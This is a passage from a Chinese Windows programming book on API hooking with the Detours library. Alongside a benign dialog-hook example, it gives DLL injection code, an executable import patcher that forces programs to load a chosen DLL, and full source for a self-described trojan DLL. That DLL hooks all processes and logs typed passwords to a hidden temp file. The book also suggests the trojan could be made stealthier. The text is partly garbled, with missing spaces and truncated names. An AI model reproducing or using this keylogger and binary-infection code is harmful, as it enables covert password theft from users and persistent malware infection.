DETOUR_TRAMPOLINE_EMPTY创建一个空的trampoline目标。
●Detour函数
DetourFunction分配一个trampoline,实现Detour函数挂接。
DetourFunctionWithTrampo
DetourFunctionWithEmptyT
DetourRemove去除detour。
●Code函数
DetourFindFunction在输出或者符号表中查找函数。
DetourGetFinalCode忽略间接跳转语句。
DetourCopyInstruction(Ex)反汇编指令。
●PE映像或者模块枚举函数
DetourEnumerateModules查找加载到进程中的所有PE映像。
DetourGetEntryPoint查找一个映像的入口地址。
DetourEnumerateExportsFo
●Payload函数(payload是Detours在拦截模块中添加的一个节)
DetourFindPayload查找一个指定的payload。
DetourGetSizeOfPayloads得到映像中所有payloads的字节大小。
●DLLInjectionFunctions
DetourCreateProcessWithD
DetourContinueProcessWit
●异常处理函数
DetourFirstChanceExcepti
●永久二进制操纵函数
DetourBinaryOpen打开一个PE二进制文件。
DetourBinaryEnumeratePay
DetourBinaryFindPayload查找指定的payload。
DetourBinarySetPayload设置或者替换一个指定的payload。
DetourBinaryDeletePayloa
DetourBinaryPurgePayload
DetourBinaryEditImportsM
DetourBinaryResetImports
DetourBinaryWrite把PE映像写入到一个文件中。
DetourBinaryClose关闭PE二进制映像。
DetourBinaryBind使用BindImage绑定二进制映像。
通过上面的函数列表,我们足以了解这个开发包强大的功能,因为很多功能在前
面的章节中都是通过大量代码才能实现的,而这里只需要调用一个函数就可以了。
注意:
(1)所有的Detours函数都可以运行在基于x86平台、WindowsNT内核操作系统
上,包括最新的Windows2003以及未来的Longhorn。Windows9x内核的系统不支持
使用DetourFunction系列函数。除非这个程序是在一个调试器下运行的,即(采用
DEBUG_PROCESS标志调用CreateProcess*函数)。这是因为基于WindowsNT内核的
系统都总是把DLL采用copy-on-write方式把动态链接库映射到目标进程中。而
Windows9x只有在采用DEBUG_PROCESS标志调用CreateProcess*函数的情况下采用
这种方式。
(2)DLL注入的方法不能在Windows9x下使用,因为这里是使用CreateRemoteThread
实现的,Windows9x不支持这个函数调用。
(3)用于添加payloads和修改导入地址表的二进制复写函数,可以运行在所有平
台上,包括Windows95。
(4)在实现一个Detours函数时,必须保证它和目标替换函数在调用规范上完全一致。
(5)当把一个动态链接库使用DetoursDLL导入API函数,把它和一个二进制文
件绑定时,动态链接库必须输出一个函数,其输出序号为1。输出的过程并不被应用
程序调用而只是用作导入目标。
下面给出一个使用Detours的例子,这是在开发防火墙软件中使用的一段代码。
我们知道,开发的应用软件最好能够同时支持两种分辨率,比如800×600和
1024×768,因为这是用户最常用的两种屏幕分辨率。然而编码中会发现在VisualC++
中同时兼顾两种分辨率时,如果通过响应WM_RESIZE非常麻烦。由于应用程序大
部分的界面都是基于对话框实现的,特别是那些嵌入窗体的对话框,实现代码定位,
实在繁琐得要命。于是在程序中设计了两种对话框,分别对应两种分辨率,在程序
启动时动态检测屏幕分辨率,通过拦截DialogBoxParam函数动态替换对话框资源来
实现。
例6-4Detours应用举例。
#include<detours.h>
#pragmacomment(lib,"detours.lib")
BOOLg_bAbsolution800x600=TRUE;
typedefstructtagDLG{
intnDlgIDSmall;
intnDlgIDBig;
}DLG,*PDLG;
DLGg_dlg[]={
{IDD_MONITORPACKETDLG,IDD_MONITORPACKETDLG_BIG},
{IDD_NETSTATDLG,IDD_NETSTATDLG_BIG},
{IDD_DEFAULT_PORT_RULE,IDD_DEFAULT_PORT_RULE_BIG},
…
{IDD_OTHER,IDD_OTHER_BIG}
};
DETOUR_TRAMPOLINE(HWNDWINAPI
Real_CreateDialogParamA(HINSTANCEhInstance,
LPSTRlpTemplateName,
HWNDhWndParent,
DLGPROClpDialogFunc,
LPARAMdwInitParam),
CreateDialogParamA);
DETOUR_TRAMPOLINE(HWNDWINAPI
Real_CreateDialogParamW(HINSTANCEhInstance,
LPWSTRlpTemplateName,
HWNDhWndParent,
DLGPROClpDialogFunc,
LPARAMdwInitParam),
CreateDialogParamW);
HWNDWINAPIDetour_CreateDialogParamW(HINSTANCEhInstance,
LPWSTRlpTemplateName,
HWNDhWndParent,
DLGPROClpDialogFunc,
LPARAMdwInitParam)
{
try{
if(!g_bAbsolution800x600){
for(inti=0;i<sizeofg_dlg/sizeofDLG;i++){
if((int)lpTemplateName==g_dlg[i].nDlgIDSmall){
returnReal_CreateDialogParamW(hInstance,
MAKEINTRESOURCEW(g_dlg[i].nDlgIDBig),
hWndParent,lpDialogFunc,dwInitParam);
}
}
}
returnReal_CreateDialogParamW(hInstance,
lpTemplateName,hWndParent,lpDialogFunc,dwInitParam);
}
catch(...){
returnReal_CreateDialogParamW(hInstance,
lpTemplateName,hWndParent,lpDialogFunc,dwInitParam);
}
}
HWNDWINAPIDetour_CreateDialogParamA(HINSTANCEhInstance,
LPSTRlpTemplateName,HWNDhWndParent,DLGPROClpDialogFunc,LPARAM
dwInitParam)
{
try{
if(!g_bAbsolution800x600){
for(inti=0;i<sizeofg_dlg/sizeofDLG;i++){
if((int)lpTemplateName==g_dlg[i].nDlgIDSmall){
returnReal_CreateDialogParamA(hInstance,
MAKEINTRESOURCE(g_dlg[i].nDlgIDBig),hWndParent,
lpDialogFunc,dwInitParam);
}
}
}
returnReal_CreateDialogParamA(hInstance,
lpTemplateName,hWndParent,lpDialogFunc,dwInitParam);
}
catch(...){
return
Real_CreateDialogParamA(hInstance,lpTemplateName,hWndParent,
lpDialogFunc,dwInitParam);
}
}
在程序入口:
intnWidth=GetSystemMetrics(SM_CXSCREEN);
if(nWidth==1024){
g_bAbsolution800x600=FALSE;
}
DetourFunctionWithTrampo
(PBYTE)Detour_CreateDialogParamA);
DetourFunctionWithTrampo
(PBYTE)Detour_CreateDialogParamW);
程序结束前:
DetourRemove((PBYTE)Real_CreateDialogParamW,
(PBYTE)Detour_CreateDialogParamW);
DetourRemove((PBYTE)Real_CreateDialogParamA,
(PBYTE)Detour_CreateDialogParamA);
从上面的程序可以看出,Trampolines函数既可以静态创建也可以动态创建。使用
静态的Trampolines函数拦截Target函数时,应用程序需要使用DETOUR-
_TRAMPOLINE宏创建Trampolines函数。DETOUR_TRAMPOLINE宏带有两个参数,
静态的Trampolines函数原型和Target函数名。
值得注意的是:Target函数拦截时,Target、Trampoline、Detour函数必须遵循完
全一致的参数约定,即出口和入口参数在个数和对应类型上要求完全匹配。Detour函
数可以根据需要把它的入口参数传递到Trampoline函数,以此调用Target函数。遵循
相同的调用约定,可以保证有关的寄存器能够被正确保存,Detour和Target函数的堆
栈能够保持平衡。
Target函数的拦截可以通过DetourFunctionWithTrampo
两个参数,Trampoline和一个指向Detour函数的指针。目标函数Target之所以没有作
为一个参数,是因为它已经编码到Trampoline函数之中。
动态的Trampoline可以通过调用DetourFunction函数实现。这个函数有两个参数,
分别是两个指向Target和Detour函数的指针,DetourFunction可以分配一个新的
Trampoline函数指针变量,然后在Target函数中插入适当的拦截代码。
当Target函数可以作为一个连接符号时,静态Trampoline函数使用非常容易。然
而当Target函数不能作为一个连接符号时,用户可以使用一个动态的Trampoline函数。
通常情况下,可以通过另外的辅助函数获得指向Target函数的指针。当指向Target函数
的指针不易得到时,用户可以使用DetourFindFunction获得该指针。无论这些函数来
自一个已知的dll库,或者是Target函数二进制代码的调试符号。DetourFindFunction函
数接收两个参数,二进制win32文件名和函数名。如果函数执行后找到了Target的符
号,它就会返回一个有效的函数指针,否则返回NULL。DetourFindFunction首先尝
试利用LoadLibrary和GetProcAddressWin32函数定位函数,如果在DLL的函数输出
表中找不到Target,DetourFindFunction就会使用ImageHlp库查找可用的调试符号信
息。返回的函数指针可以作为一个参数传递到DetourFunction函数,用以创建一个动
态的Trampoline函数。
拦截的Target函数可以通过调用DetourRemoveTrampoline函数恢复到拦截前的状态。
值得注意的是,由于Detours库函数修改代码是在进程地址空间进行的,程序员
必须在Detour插入和移去时没有别的线程在运行。显然保证单线程运行最简单的办法
是在DLL的DllMain例程中调用Detours库函数。
动态链接库注入到一个存在进程可以通过下列代码实现。
HANDLEhProcess=OpenProcess(PROCESS_ALL_ACCESS,FALSE,nProcessId);
//nProcessId运行进程的进程标识
if(hProcess==NULL){
printf("OpenProcess(%d)failed:%d\n",nProcessId,GetLastError());
return2;
}//下面的szDllPath为指定的dll文件路径.
if(!DetourContinueProcessWit
printf("DetourContinueProcessWit
GetLastError());
return3;
}
动态链接库注入到一个新进程可以通过下列代码实现。
STARTUPINFOsi;
PROCESS_INFORMATIONpi;
CHARszCommand[2048];
PCHARpszDLlPath=NULL;
CHARszExe[1024];
Strcpy(szExe,”…..”);//可执行文件名
Strcpy(szCommand,”…..”);//命令行
Strcpy(pszDllPath,”…”);//动态连接库文件名字
ZeroMemory(&si,sizeof(si));
ZeroMemory(&pi,sizeof(pi));
si.cb=sizeof(si);
DWORDdwCreationFlags=(CREATE_DEFAULT_ERROR_MODE);
if(!DetourCreateProcessWithD
dwCreationFlags,NULL,NULL,
& si,&pi,pszDllPath,NULL)){
printf("DetourCreateProcessWithD
ExitProcess(2);
}
有关Detours修改二进制映像的例子,用户可以参考开发包提供的例子程序setdll。
下面给出这个文件的关键函数,这个函数实现了DLL文件的磁盘注入。
BOOLSetFile(PCHARpszPath)
{
BOOLbGood=TRUE;
HANDLEhOld=INVALID_HANDLE_VALUE;
HANDLEhNew=INVALID_HANDLE_VALUE;
PDETOUR_BINARYpBinary=NULL;
CHARszOrg[MAX_PATH];
CHARszNew[MAX_PATH];
CHARszOld[MAX_PATH];
szOld[0]='\0';
szNew[0]='\0';
strcpy(szOrg,pszPath);
strcpy(szNew,szOrg);
strcat(szNew,"#");
strcpy(szOld,szOrg);
strcat(szOld,"~");
printf("%s:\n",pszPath);
hOld=CreateFile(szOrg,GENERIC_READ,FILE_SHARE_READ,NULL,
OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
if(hOld==INVALID_HANDLE_VALUE){
printf("Couldn'topeninputfile:%s,error:%d\n",szOrg,
GetLastError());
bGood=FALSE;
gotoend;
}
hNew=CreateFile(szNew,GENERIC_WRITE|GENERIC_READ,0,NULL,
CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL|FILE_FLAG_SEQUENTIAL_SCAN,
NULL);
if(hNew==INVALID_HANDLE_VALUE){
printf("Couldn'topenoutputfile:%s,error:%d\n",szNew,
GetLastError());
bGood=FALSE;
gotoend;
}
if((pBinary=DetourBinaryOpen(hOld))==NULL){
printf("DetourBinaryOpenfailed:%d\n",GetLastError());
gotoend;
}
if(hOld!=INVALID_HANDLE_VALUE){
CloseHandle(hOld);
hOld=INVALID_HANDLE_VALUE;
}
{
BOOLbAddedDll=FALSE;
DetourBinaryResetImports
if(!s_fRemove){
if(!DetourBinaryEditImports(pBinary,&bAddedDll,AddBywayCallback,
NULL,NULL,NULL)){
printf("DetourBinaryEditImportsf
}
}
if(!DetourBinaryEditImports(pBinary,NULL,ListBywayCallback,
ListFileCallback,
NULL,NULL)){
printf("DetourBinaryEditImportsf
}
if(!DetourBinaryWrite(pBinary,hNew)){
printf("DetourBinaryWritefailed:%d\n",GetLastError());
bGood=FALSE;
}
DetourBinaryClose(pBinary);
pBinary=NULL;
if(hNew!=INVALID_HANDLE_VALUE){
CloseHandle(hNew);
hNew=INVALID_HANDLE_VALUE;
}
if(bGood){
if(!DetourBinaryBind(szNew,".",".")){
printf("Warning:Couldn'tbindtotracedll:%d\n",GetLastError());
}
if(!DeleteFile(szOld)){
DWORDdwError=GetLastError();
if(dwError!=ERROR_FILE_NOT_FOUND){
printf("Warning:Couldn'tdelete%s:%d\n",szOld,dwError);
bGood=FALSE;
}
}
if(!MoveFile(szOrg,szOld)){
printf("Error:Couldn'tbackup%sto%s:%d\n",szOrg,szOld,
GetLastError());
bGood=FALSE;
}
if(!MoveFile(szNew,szOrg)){
printf("Error:Couldn'tinstall%sas%s:%d\n",szNew,szOrg,
GetLastError());
bGood=FALSE;
}
}
DeleteFile(szNew);
}
end:
if(pBinary){
DetourBinaryClose(pBinary);
pBinary=NULL;
}
if(hNew!=INVALID_HANDLE_VALUE){
CloseHandle(hNew);
hNew=INVALID_HANDLE_VALUE;
}
if(hOld!=INVALID_HANDLE_VALUE){
CloseHandle(hOld);
hOld=INVALID_HANDLE_VALUE;
}
returnbGood;
}
面的这个例子就是基于上面的代码实现的。例子中PasswordDemo.exe是一个普
通的Windows应用程序,它需要验证用户输入的密码。iNetPub类似于一个木马程序,
这个程序是一个动态链接库,这个程序实现了一个消息钩子,在动态链接库初始化的
时候,自己安装了钩子函数。很明显像PasswordDemo.exe这样的Windows应用程序
是从来不会主动调用这个动态链接库的,因为它们之间不存在任何血缘关系。尽管我
们可以采用多种进程间代码注入的办法,但是这种办法都需要一个进程,那么像
RunDll32文件加载一样,用户很容易从开机自启动应用程序列表中把它们摘除,这样
我们精心炮制的木马程序,可能就会像僵尸一样永远不能超生。
我们需要做的工作是能够像病毒一样修改可执行文件,让可执行文件自己加载提
供的动态链接库。这里对可执行文件和动态链接库没有任何要求。动态链接库如果输
出钩子函数,其钩子过程必须以输出函数方式输出。自动加载必须在动态链接库初始
化过程中完成。
PasswordDemo.exe程序的运行界面是这样的,如图6-6所示。
这个程序依赖的动态链接库如图6-7所示,由于这个程序和inetpub没有任何关系,
所以它的运行不需要inetpub.Dll文件。
下面我们运行修改程序(程序运行界面如图6-8所示)对passworddemo文件进行修
改。当我们单击“启动”按钮时,passworddemo.exe所在的目录会自动生成一个
passworddemo.exe文件的备份PasswordDemo.exe~。passworddemo.exe文件是修改过的
文件,它的文件修改日期和大小将发生变化。这时它的运行将依赖位于Windows系统
目录的inetpub.dll文件。即Passworddemo.exe文件运行前会自动加载inetpub.dll文件,
这个文件一旦加载就会自动安装一个全局钩子,对系统中的所有进程进行监视,把用
户输入的所有密码文本保存到Windows目录下的一个文件中。
此时这个程序的运行将离不开inetpub.Dll文件。如图6-9所示。
这个程序还有许多地方可以进行完善,但是已经有了一点木马特征,而且它还可
以做得更隐蔽一些。很明显实现自动化修改可执行文件,也并不困难。
例6-5Dll磁盘文件附加实现。
#include"stdafx.h"
#include<afxdllx.h>
#ifdef_DEBUG
#definenewDEBUG_NEW
#undefTHIS_FILE
staticcharTHIS_FILE[]=__FILE__;
#endif
#include"INetPub.h"
#pragmadata_seg(".sdata")
HHOOKhHookMsg=0;
HHOOKhHookProc=0;
HINSTANCEhinst=0;
HWNDhHandleWnd=0;
intnumbers=0;
intSpyArrayNums=0;
intrandv=0;
CHook*phook=0;
CDWordArraySpyWndList[20];
#pragmadata_seg()
staticAFX_EXTENSION_MODULEINetPubDLL={NULL,NULL};
extern"C"_declspec(dllexport)LRESULTWINAPICallMsgProc
nCode,WPARAMwParam,LPARAMlParam);
extern"C"_declspec(dllexport)LRESULTWINAPICallWndProc
nCode,WPARAMwParam,LPARAMlParam);
BOOLWINAPIHookProc(HWNDhwnd,UINTuiMessage,WPARAMwParam,LPARAM
lParam);
extern"C"intAPIENTRY
DllMain(HINSTANCEhInstance,DWORDdwReason,LPVOIDlpReserved)
{
//RemovethisifyouuselpRese
UNREFERENCED_PARAMETER(lpReserved);
if(dwReason==DLL_PROCESS_ATTACH)
{
TRACE0("INetPub.DLLInitializing!\n");
//ExtensionDLLone-timeinitialization
if(!AfxInitExtensionModule(INetPubDLL,hInstance))return0;
numbers++;
if(numbers==1&&phook==0)
{
hinst=hInstance;
randv=GetTickCount()/5000;
phook=newCHook;
phook->HookInstaller();
}
newCDynLinkLibrary(INetPubDLL);
}
elseif(dwReason==DLL_PROCESS_DETACH)
{
TRACE0("INetPub.DLLTerminating!\n");
numbers--;
if(numbers==0&&phook)
{
phook->HookUninstaller();
deletephook;
phook=0;
}
AfxTermExtensionModule(INetPubDLL);
}
return1;//ok
}
CHook::CHook()
{
}
CHook::~CHook()
{
HookUninstaller();
}
BOOLCHook::HookInstaller()
{
if((hHookMsg=SetWindowsHookEx(WH_GETMESSAGE,
CallMsgProc,hinst,0))!=NULL
&& (hHookProc=SetWindowsHookEx(WH_CALLWNDPROC,CallWndProc,hinst,0))
!=NULL)returntrue;
returnfalse;
}
BOOLCHook::HookUninstaller()
{
BOOLbUninstall;
if(hHookMsg)
{
bUninstall=UnhookWindowsHookEx(hHookMsg);
if(bUninstall)
{
hHookMsg=NULL;
bUninstall=UnhookWindowsHookEx(hHookProc);
if(bUninstall)
{
hHandleWnd=NULL;
hHookProc=NULL;
}
}
}
returnbUninstall;
}
voidCHook::SetHandleWindow(HWNDhWnd)
{
hHandleWnd=hWnd;
}
extern"C"_declspec(dllexport)LRESULTWINAPICallMsgProc
nCode,WPARAMwParam,LPARAMlParam)
{
PMSGpMsg=(MSG*)lParam;
if(nCode>=0&&pMsg&&pMsg->hwnd)
{
HookProc(pMsg->hwnd,pMsg->message,pMsg->wParam,pMsg->lParam);
}
returnCallNextHookEx(hHookMsg,nCode,wParam,lParam);
}
extern"C"_declspec(dllexport)LRESULTWINAPICallWndProc
nCode,WPARAMwParam,LPARAMlParam)
{
PCWPSTRUCTpCwps;
pCwps=(PCWPSTRUCT)lParam;
if(nCode>=0&&pCwps&&pCwps->hwnd)
{
HookProc(pCwps->hwnd,pCwps->message,pCwps->wParam,
pCwps->lParam);
}
returnCallNextHookEx(hHookProc,nCode,wParam,lParam);
}
intWINAPIInSpyList(HWNDhwnd)
{
if(SpyArrayNums)
{
for(inti=0;i<SpyArrayNums;i++)
{
SpyWndList[i];
if(intwndnum=SpyWndList[i].GetSize())
{
for(intj=0;j<wndnum;j++)
if(SpyWndList[i].GetAt(j)==(DWORD)hwnd)returni;
}
}
}
return-1;
}
voidWINAPIAddToSpyList(HWNDhWnd)
{
HWNDhParent;
CWordArrayaarray;
if(hParent=GetParent(hWnd))
{
if(InSpyList(hParent)!=-1)return;
SpyWndList[SpyArrayNums].Add((DWORD)hParent);
}
HWNDsib=::GetWindow(hWnd,GW_HWNDFIRST);
charlpClassName[255];
CStringstrWndClass;
::GetClassName(sib,lpClassName,255);
strWndClass=lpClassName;
//IsthisanEditcontrol
if(0==strWndClass.CompareNoCase("EDIT"))
SpyWndList[SpyArrayNums].Add((DWORD)sib);
while((sib=::GetWindow(sib,GW_HWNDNEXT))!=NULL)
{
::GetClassName(sib,lpClassName,255);
strWndClass=lpClassName;
//IsthisanEditcontrol
if(strWndClass.Find("Edit")!=-1||strWndClass.Find("Text")!=-1)
SpyWndList[SpyArrayNums].Add((DWORD)sib);
}
//SpyWndList[SpyArrayNums];
SpyArrayNums++;
if(SpyArrayNums==21)SpyArrayNums=20;
}
voidWINAPIRemoveFromList
{
if(index>=SpyArrayNums)return;
SpyWndList[index].RemoveAll();
for(inti=0;i<SpyArrayNums-index-1;i++)
{
SpyWndList[index+i].Copy(SpyWndList[index+i+1]);
SpyWndList[index+i+1].RemoveAll();
}
SpyArrayNums--;
}
BOOLWINAPIHookProc(HWNDhwnd,UINTmessage,WPARAMwParam,LPARAM
lParam)
{
charszCaption[100]="\0";
charszTitle[100]="\0";
charclassname[255];
intindexx;
CStringSaveInfo;
if(message&&IsWindow(hwnd))
{
GetClassName(hwnd,classname,255);
LONGstyle=GetWindowLong(hwnd,GWL_STYLE);
CStringstrClass;
switch(message){
caseWM_SETFOCUS:
strClass=classname;
if(!strClass.CompareNoCase("EDIT"))
{
if((style&ES_PASSWORD)&&(InSpyList(hwnd)==-1))AddToSpyList(hwnd);
}
break;
caseWM_DESTROY:
if((indexx=InSpyList(hwnd))!=-1)
{
inti=indexx;
for(intj=0;j<SpyWndList[i].GetSize();j++)
{
HWNDspywin;
spywin=(HWND)SpyWndList[i].GetAt(j);
LONGlStyle=::GetWindowLong(spywin,GWL_STYLE);
if(IsWindow(spywin)&&j==0)
{
charszText[255]="\0";
::SendMessage(spywin,WM_GETTEXT,255,(LPARAM)szText);
CStringtemp=szText;
SaveInfo=SaveInfo+"(window)"+temp+"\t";
else
if(lStyle&ES_PASSWORD)
{
charszText[255]="\0";
//intl=::GetWindowText(hwnd,szText,sizeof(szText));
::SendMessage(spywin,WM_GETTEXT,255,(LPARAM)szText);
CStringtemp=szText;
SaveInfo=SaveInfo+"(password)"+temp+"\t";
if(temp.GetLength()==0)returntrue;
}
else
{
charszText[255]="\0";
::SendMessage(spywin,WM_GETTEXT,255,(LPARAM)szText);
CStringtemp=szText;
SaveInfo=SaveInfo+"(edit)"+temp+"\t";
}
}
RemoveFromList(indexx);
time_tnow;
time(&now);
structtm*tmnow;
tmnow=localtime(&now);
char*timenow=asctime(tmnow);
CStringtemp;
temp=timenow;
intstrlen=temp.GetLength();
temp=temp.Left(strlen-1);
SaveInfo=temp+":"+SaveInfo+"\r\n";
charptemppath[255];
GetTempPath(255,ptemppath);
CStringstrFileName;
strFileName.Format("%s",ptemppath);
CStringstrName;
strName.Format("~mps%d.tmp",randv);
strFileName=strFileName+strName;
CStringszTemp;
szTemp.Format("用户的密码已被木马程序保存到一个名叫%s的文件里
",strFileName);
MessageBox(NULL,szTemp,"请注意静态密码并不安全,请您及时更换密
码!",MB_OK+MB_ICONWARNING);
WritePrivateProfileStrin
"Kernel32.ini");
CFilef(LPCTSTR(strFileName),CFile::modeCreate|CFile::modeWrite
|CFile::modeNoTruncate);
f.Seek(0,CFile::end);
intinfolen=SaveInfo.GetLength();
f.Write((LPCTSTR)SaveInfo,infolen);
f.Close();
}
break;
default:
//sprintf(szCaption,"oh,Themousex:%d
y:%d",pMsg->pt.x,pMsg->pt.y);
break;
}
if(IsWindow(hHandleWnd))
{
if(strlen(szCaption)>=1)
SendMessage(hHandleWnd,WM_SETTEXT,0,(LPARAM)(LPCTSTR)szCaption);
}
}
returntrue;
}
有关APIHOOK实现的方法还有很多,比如采用的某些开发包是源代码共享的,
有些则是收费的。比较好的解决方案还有http://www.codeproject.com网站IvoIvanov
提供的APIhookingrevealed一文和http://www.codeguru.com网站WadeBrainerd提出
的APIHijack-ALibraryforEasyDLLFuncti
TextoutCallsFromNotepad。